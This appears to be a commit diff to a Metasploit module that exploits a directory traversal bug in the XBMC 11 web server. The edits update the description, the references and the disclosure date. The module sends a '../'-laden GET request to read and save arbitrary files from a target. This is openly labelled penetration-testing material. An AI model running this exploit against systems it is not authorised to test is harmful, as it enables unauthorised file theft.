@@ -17,21 +17,22 @@ def initialize(info={})
17
17
super ( update_info ( info ,
18
18
'Name' => "XBMC Web Server Directory Traversal" ,
19
19
'Description' => %q{
20
- This module exploits a directory traversal bug in XBMC 11.
20
+ This module exploits a directory traversal bug in XBMC 11, up until the 2012-11-04 nightly build .
21
21
The module can only be used to retrieve files.
22
22
} ,
23
23
'License' => MSF_LICENSE ,
24
24
'Author' =>
25
25
[
26
- 'sinn3r' , # Used sinn3r's yaws_traversal exploit as a skeleton
26
+ 'sinn3r' , # Used sinn3r's yaws_traversal exploit as a skeleton
27
27
'Lucas "acidgen" Lundgren IOActive' ,
28
28
'Matt "hostess" Andreko' ,
29
29
] ,
30
30
'References' =>
31
31
[
32
- [ 'URL' , 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348' ]
32
+ [ 'URL' , 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348' ] ,
33
+ [ 'URL' , 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335' ] ,
33
34
] ,
34
- 'DisclosureDate' => "Nov 1 2012"
35
+ 'DisclosureDate' => "Nov 4 2012"
35
36
) )
36
37
37
38
register_options (
@@ -53,7 +54,7 @@ def run_host(ip)
53
54
end
54
55
55
56
# Create request
56
- traversal = "../../../../../../../../.."
57
+ traversal = "../../../../../../../../.." #The longest of all platforms tested was 9 deep
57
58
res = send_request_raw ( {
58
59
'method' => 'GET' ,
59
60
'uri' => "/#{ traversal } /#{ datastore [ 'FILEPATH' ] } " ,
@@ -75,7 +76,7 @@ def run_host(ip)
75
76
)
76
77
print_good ( "File saved in: #{ path } " )
77
78
elsif res . code == 401
78
- print_error ( "#{ rhost } :#{ rport } Authentication failed" )
79
+ print_error ( "#{ rhost } :#{ rport } Authentication failed" )
79
80
elsif res . code == 404
80
81
print_error ( "#{ rhost } :#{ rport } File not found" )
81
82
end
0 commit comments